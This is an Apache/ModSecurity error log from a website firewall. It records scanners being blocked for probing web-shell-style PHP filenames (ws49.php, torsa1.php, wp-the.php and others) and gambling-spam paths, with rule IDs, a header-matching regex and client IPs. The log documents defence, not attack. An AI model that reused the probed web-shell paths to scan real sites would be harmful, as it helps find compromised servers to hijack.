[Fri Mar 27 04:13:48.580593 2026] [:error] [pid 27851:tid 27865] [client 52.138.251.91:58899] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "acWTfHR2ccxe3RMCLbrm8gAAAMc"]
[Fri Mar 27 04:13:53.326279 2026] [:error] [pid 27749:tid 27815] [client 52.138.251.91:46760] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "acWTgcEqyoMni2Q6_X5DhAAAAFg"]
[Fri Mar 27 04:13:55.370068 2026] [:error] [pid 27749:tid 27797] [client 52.138.251.91:47711] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "acWTg8EqyoMni2Q6_X5DhQAAAEY"]
[Fri Mar 27 04:13:57.178059 2026] [:error] [pid 27743:tid 27778] [client 52.138.251.91:45223] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "acWThSA46UYYLqzw99DoFAAAAA4"]
[Fri Mar 27 04:13:57.959453 2026] [:error] [pid 27749:tid 27805] [client 52.138.251.91:46773] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acWThcEqyoMni2Q6_X5DjAAAAE4"]
[Fri Mar 27 04:13:59.162682 2026] [:error] [pid 27750:tid 27821] [client 52.138.251.91:50764] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acWTh4aSil5rd17ieLwX1wAAAIM"]
[Fri Mar 27 04:13:59.794198 2026] [:error] [pid 27749:tid 27792] [client 52.138.251.91:35619] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acWTh8EqyoMni2Q6_X5DkwAAAEE"]
[Fri Mar 27 04:14:00.567034 2026] [:error] [pid 27851:tid 27860] [client 52.138.251.91:45246] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acWTiHR2ccxe3RMCLbrnDAAAAMI"]
[Fri Mar 27 04:14:01.867467 2026] [:error] [pid 27749:tid 27806] [client 52.138.251.91:47637] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "acWTicEqyoMni2Q6_X5DlAAAAE8"]
[Fri Mar 27 04:14:02.491419 2026] [:error] [pid 27851:tid 27868] [client 52.138.251.91:62074] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "acWTinR2ccxe3RMCLbrnFgAAAMo"]
[Fri Mar 27 04:14:03.228344 2026] [:error] [pid 27750:tid 27825] [client 52.138.251.91:63091] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "acWTi4aSil5rd17ieLwX3QAAAIc"]
[Fri Mar 27 04:14:04.060884 2026] [:error] [pid 27750:tid 27824] [client 52.138.251.91:50753] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "acWTjIaSil5rd17ieLwX3wAAAIY"]
[Fri Mar 27 04:14:04.720769 2026] [:error] [pid 27851:tid 27878] [client 52.138.251.91:62071] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "acWTjHR2ccxe3RMCLbrnJAAAANQ"]
[Fri Mar 27 04:14:05.425111 2026] [:error] [pid 27851:tid 27874] [client 52.138.251.91:62038] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "acWTjXR2ccxe3RMCLbrnKAAAANA"]
[Fri Mar 27 04:14:06.391462 2026] [:error] [pid 27749:tid 27804] [client 52.138.251.91:47677] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "acWTjsEqyoMni2Q6_X5DmAAAAE0"]
[Fri Mar 27 04:14:07.355505 2026] [:error] [pid 27750:tid 27818] [client 52.138.251.91:34965] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "acWTj4aSil5rd17ieLwX4gAAAIA"]
[Fri Mar 27 04:14:08.224718 2026] [:error] [pid 27743:tid 27772] [client 52.138.251.91:38883] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/44.php"] [unique_id "acWTkCA46UYYLqzw99DoHQAAAAg"]
[Fri Mar 27 04:14:08.879666 2026] [:error] [pid 27851:tid 27872] [client 52.138.251.91:4993] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/44.php"] [unique_id "acWTkHR2ccxe3RMCLbrnNwAAAM4"]
[Fri Mar 27 04:14:09.737495 2026] [:error] [pid 27749:tid 27792] [client 52.138.251.91:62051] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/44.php"] [unique_id "acWTkcEqyoMni2Q6_X5DngAAAEE"]
[Fri Mar 27 04:14:10.365444 2026] [:error] [pid 27749:tid 27808] [client 52.138.251.91:58881] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/44.php"] [unique_id "acWTksEqyoMni2Q6_X5DoQAAAFE"]
[Fri Mar 27 04:14:12.225145 2026] [:error] [pid 27750:tid 27821] [client 52.138.251.91:41767] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "acWTlIaSil5rd17ieLwX6QAAAIM"]
[Fri Mar 27 04:14:13.223128 2026] [:error] [pid 27749:tid 27800] [client 52.138.251.91:5040] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "acWTlcEqyoMni2Q6_X5DqwAAAEk"]
[Fri Mar 27 04:14:15.325932 2026] [:error] [pid 27851:tid 27868] [client 52.138.251.91:5043] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "acWTl3R2ccxe3RMCLbrnTwAAAMo"]
[Fri Mar 27 04:14:16.558947 2026] [:error] [pid 27851:tid 27873] [client 52.138.251.91:32361] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws49.php"] [unique_id "acWTmHR2ccxe3RMCLbrnVAAAAM8"]
[Fri Mar 27 04:14:18.435421 2026] [:error] [pid 27851:tid 27863] [client 52.138.251.91:63072] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "acWTmnR2ccxe3RMCLbrnWgAAAMU"]
[Fri Mar 27 04:14:20.573825 2026] [:error] [pid 27750:tid 27839] [client 52.138.251.91:41761] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "acWTnIaSil5rd17ieLwX-gAAAJU"]
[Fri Mar 27 04:14:22.106043 2026] [:error] [pid 27851:tid 27869] [client 52.138.251.91:45215] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "acWTnnR2ccxe3RMCLbrnYQAAAMs"]
[Fri Mar 27 04:14:24.767315 2026] [:error] [pid 27851:tid 27881] [client 52.138.251.91:61671] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "acWToHR2ccxe3RMCLbrnaAAAANc"]
[Fri Mar 27 04:14:26.229418 2026] [:error] [pid 27851:tid 27869] [client 52.138.251.91:51641] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/install.php"] [unique_id "acWTonR2ccxe3RMCLbrnbgAAAMs"]
[Fri Mar 27 04:14:28.074662 2026] [:error] [pid 27851:tid 27868] [client 52.138.251.91:4169] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/install.php"] [unique_id "acWTpHR2ccxe3RMCLbrndwAAAMo"]
[Fri Mar 27 04:14:30.069877 2026] [:error] [pid 27851:tid 27866] [client 52.138.251.91:45228] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/install.php"] [unique_id "acWTpnR2ccxe3RMCLbrngQAAAMg"]
[Fri Mar 27 04:14:32.254924 2026] [:error] [pid 27749:tid 27795] [client 52.138.251.91:51602] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/install.php"] [unique_id "acWTqMEqyoMni2Q6_X5DxQAAAEQ"]
[Fri Mar 27 04:14:33.275454 2026] [:error] [pid 27743:tid 27773] [client 52.138.251.91:53748] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "acWTqSA46UYYLqzw99DoLgAAAAk"]
[Fri Mar 27 04:14:34.068535 2026] [:error] [pid 27743:tid 27782] [client 52.138.251.91:61679] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "acWTqiA46UYYLqzw99DoMgAAABI"]
[Fri Mar 27 04:14:35.450172 2026] [:error] [pid 27851:tid 27865] [client 52.138.251.91:36582] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "acWTq3R2ccxe3RMCLbrnhwAAAMc"]
[Fri Mar 27 04:14:36.741202 2026] [:error] [pid 27750:tid 27840] [client 52.138.251.91:38251] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "acWTrIaSil5rd17ieLwYFAAAAJY"]
[Fri Mar 27 04:14:37.318048 2026] [:error] [pid 27851:tid 27877] [client 52.138.251.91:46307] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "acWTrXR2ccxe3RMCLbrnkgAAANM"]
[Fri Mar 27 04:14:37.953572 2026] [:error] [pid 27750:tid 27828] [client 52.138.251.91:44468] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "acWTrYaSil5rd17ieLwYFQAAAIo"]
[Fri Mar 27 04:54:31.809841 2026] [:error] [pid 27851:tid 27867] [client 43.164.196.57:52296] [client 43.164.196.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acWdB3R2ccxe3RMCLbr-lwAAAMk"]
[Fri Mar 27 09:22:28.996739 2026] [:error] [pid 4293:tid 4303] [client 170.106.72.178:40836] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acXb1JLjeJUC3OKtEx_j_QAAAUg"]
[Fri Mar 27 10:06:33.221721 2026] [:error] [pid 27750:tid 27835] [client 54.36.179.84:45820] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acXmKYaSil5rd17ieLxvLgAAAJE"]
[Fri Mar 27 10:06:37.623778 2026] [:error] [pid 27851:tid 27870] [client 54.36.179.84:49518] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acXmLXR2ccxe3RMCLbpVswAAAMw"]
[Fri Mar 27 10:06:40.433256 2026] [:error] [pid 63897:tid 63915] [client 54.36.179.84:49532] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acXmMGVSkmYmLu7ycYh-pwAAARA"]
[Fri Mar 27 10:06:44.015544 2026] [:error] [pid 4293:tid 4311] [client 54.36.179.84:49540] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acXmNJLjeJUC3OKtEx_8DgAAAVA"]
[Fri Mar 27 10:06:47.327073 2026] [:error] [pid 63897:tid 63899] [client 54.36.179.84:43312] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acXmN2VSkmYmLu7ycYh-zgAAAQA"]
[Fri Mar 27 10:06:51.097763 2026] [:error] [pid 63897:tid 63905] [client 54.36.179.84:43314] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acXmO2VSkmYmLu7ycYh-3gAAAQY"]
[Fri Mar 27 10:06:53.735818 2026] [:error] [pid 4341:tid 4359] [client 54.36.179.84:43316] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "acXmPeKJWrNB5dMlERFuXgAAAZA"]
[Fri Mar 27 10:06:56.465686 2026] [:error] [pid 63897:tid 63913] [client 54.36.179.84:43320] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acXmQGVSkmYmLu7ycYh-5QAAAQ4"]
[Fri Mar 27 10:06:59.309127 2026] [:error] [pid 27750:tid 27830] [client 54.36.179.84:60000] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acXmQ4aSil5rd17ieLxvRgAAAIw"]
[Fri Mar 27 10:07:01.961229 2026] [:error] [pid 27749:tid 27797] [client 54.36.179.84:60004] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acXmRcEqyoMni2Q6_X6LswAAAEY"]
[Fri Mar 27 10:07:04.431815 2026] [:error] [pid 27749:tid 27812] [client 54.36.179.84:60006] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acXmSMEqyoMni2Q6_X6LtgAAAFU"]
[Fri Mar 27 10:07:06.933444 2026] [:error] [pid 27750:tid 27841] [client 54.36.179.84:56602] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acXmSoaSil5rd17ieLxvXAAAAJc"]
[Fri Mar 27 10:07:09.326789 2026] [:error] [pid 4341:tid 4352] [client 54.36.179.84:56610] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acXmTeKJWrNB5dMlERFuhAAAAYk"]
[Fri Mar 27 10:07:11.789538 2026] [:error] [pid 63897:tid 63909] [client 54.36.179.84:56618] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acXmT2VSkmYmLu7ycYh-7wAAAQo"]
